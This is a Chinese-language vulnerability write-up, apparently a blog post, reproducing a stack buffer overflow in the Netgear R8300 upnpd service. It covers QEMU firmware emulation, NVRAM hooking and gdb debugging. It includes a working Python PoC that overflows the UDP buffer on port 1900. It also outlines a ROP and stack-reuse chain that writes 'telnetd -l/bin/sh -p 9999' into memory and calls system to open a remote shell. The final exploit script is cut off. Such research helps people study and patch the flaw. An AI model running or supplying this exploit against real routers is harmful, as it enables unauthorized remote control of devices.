固件模拟 | QEMU | 现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。 |
树莓派、开发板 | 只要 CPU 指令集对的上,就可以跑起来 | |
firmadyne | 基于qemu定制 | |
Qemu STM32 | ||
Avatar | 混合式仿真 |
嵌入式设备固件安全分析技术研究综述 http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf
由于没有真机,我们采用了固件模拟的方式来搭建分析环境。
首先下载有问题的固件 R8300 Firmware Version 1.0.2.130 http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip
使用binwalk对固件中的特征字符串进行识别,可以看到R8300采用了squashfs文件系统格式
1 | binwalk R8300-V1.0.2.130_1.0.99.chk |
使用 binwalk -Me
提取出 Squashfs 文件系统,可以看到R8300为ARM v5架构.
1 | file usr/sbin/upnpd |
直接使用firmadyne模拟R8300固件失败,一是网络接口初始化失败,二是NVRAM配置存在问题
原因可能是:
NVRAM库劫持失败,firmadyne实现了sem_get()、sem_lock()、sem_unlock()等函数https://github.com/firmadyne/libnvram
1 | ./fat.py 'Path to R8300 firmware file' |
使用Qemu模拟固件需要下载对应的arm虚拟机镜像,内核和initrd。
https://people.debian.org/~aurel32/qemu/armhf/
1 | [debian_wheezy_armhf_desktop.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_desktop.qcow2) 2013-12-17 02:43 1.7G [debian_wheezy_armhf_standard.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2) 2013-12-17 00:04 229M |
标准的虚拟机启动命令为
1 | - qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" |
对于R8300固件,在 Host 机上创建一个 tap 接口并分配 IP,启动虚拟机:
1 | sudo tunctl -t tap0 -u `whoami` |
与标准命令区别在于-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
启动之后输入用户名和密码,都是 root,为虚拟机分配 IP:
1 | root@debian-armhf:~# ifconfig eth0 192.168.2.2/24 |
这样 Host 和虚拟机就网络互通了,然后挂载 proc、dev,最后 chroot 即可。
1 | root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc |
NVRAM( 非易失性 RAM) 用于存储路由器的配置信息,而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下,我们可以使用 LD_PRELOAD
劫持以下函数符号。手动创建 /tmp/var/run
目录,再次运行提示缺少 /dev/nvram
。
1 | $ arm-linux-gcc -Wall -fPIC -shared nvram.c -o nvram.so |
dlsym
nvram库的实现者还同时 hook 了 system
、fopen
、open
等函数,因此还会用到 dlsym
,/lib/libdl.so.0
导出了该符号。
1 | $ grep -r "dlsym" . |
接下来要做的就是根据上面的日志补全配置信息,也可以参考https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置,可以查看对应的汇编代码逻辑(配置的有问题的话很容易触发段错误)。
1 | upnpd_debug_level=9 |
1 | ./usr/sbin/upnpd |
该漏洞的原理是使用strcpy函数不当,拷贝过长字符导致缓冲区溢出,那么如何到达溢出位置。
首先upnpd服务在sub_1D020()
中使用recvfrom()
从套接字接收UDP数据包,并捕获数据发送源的地址。从函数定义可知,upnpd接收了长度为0x1FFFF大小的数据到缓冲区v54
recvfrom recvfrom函数(经socket接收数据):
函数原型:int recvfrom(SOCKET s,void *buf,int len,unsigned int flags, struct sockaddr from,int fromlen);
相关函数 recv,recvmsg,send,sendto,socket
函数说明:recv()用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的网络地址,结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.
在 sub_25E04()
中调用 strcpy()
将以上数据拷贝到大小为 0x634 - 0x58 = 0x5dc
的 buffer。如果超过缓冲区大小,数据就会覆盖栈底部分甚至返回地址。
1 | +-----------------+ |
使用gdbserver调试目标程序https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver
1 | # ps|grep upnp |
工作机上使用跨平台试gdb-multiarchgdb-multiarch -x dbgscript
dbgscript 内容
1 | set architecture arm |
直接构造溢出字符,程序不会正常返回,因为栈上存在一个v40的指针v51,需要覆盖为有效地址才能正确返回。
1 | #!/usr/bin/python3 |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x604 * b'a' + # dummy
p32(0x7e2da53c) + # v51
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x43434343) # LR
)
s.connect(('192.168.2.2', 1900))
s.send(payload)
s.close()
可以看到,我们向返回地址发送的数据为0x43434343,但最后PC寄存器的值为0x43434342,最后一个bit变为0,这是为什么?https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html
最后检查程序的缓解措施。程序本身开启了NX,之前用过R7000的真机,设备开了ASLR
在堆栈恢复前下一个断点,观察控制流转移情况,将PC指针控制为重启指令。通过 hook 的日志可以看到,ROP 利用链按照预期工作(由于模拟环境的问题,reboot 命令运行段错误了…)
1 | gef➤ b *0x00025F40 |
综合目前的情况:
R4 - R11
以及 PC(R15)
寄存器shellcode
。gadget
。strcpy()
函数导致的溢出,payload 中不能包含 \x00
字符。路由器已启用ASLR缓解功能,我们可以使用ROP攻击绕过该功能。但是,我们通过使用对NULL字节敏感的strcpy来执行复制调用,这反过来又会阻止我们使用ROP攻击。因此,要利用包含NULL字节的地址,我们将需要使用堆栈重用攻击。即想办法提前将 ROP payload 注入目标内存。(stack reuse
)
注意到recvfrom函数在接收 socket 数据时 buffer 未初始化,利用内存未初始化问题,我们可以向sub_1D020的堆栈中布置gadgets。构造如下 PoC,每个 payload 前添加 \x00
防止程序崩溃(strcpy遇到\x00截断,不会拷贝后面部分)。
1 | #!/usr/bin/python3 |
在strcpy下断点调试,并检查栈区内存
1 | gef➤ info b |
此时程序上下文为
1 | gef➤ context |
由于接收 socket 数据的 buffer 未初始化,在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间,也足以给 ROP 的 payload 一片容身之地。
使用 strcpy
调用在 bss 上拼接出命令字符串 telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00
,并调整 R0 指向这段内存,然后跳转 system
执行即可。
脚本帮助: | usage: python2 PSV-2020-0211.py 【路由器IP】 【任意libc有效地址】 |
---|---|
真实利用: | IP:192.168.2.2 Port:upnp/1900 |
1 | import socket |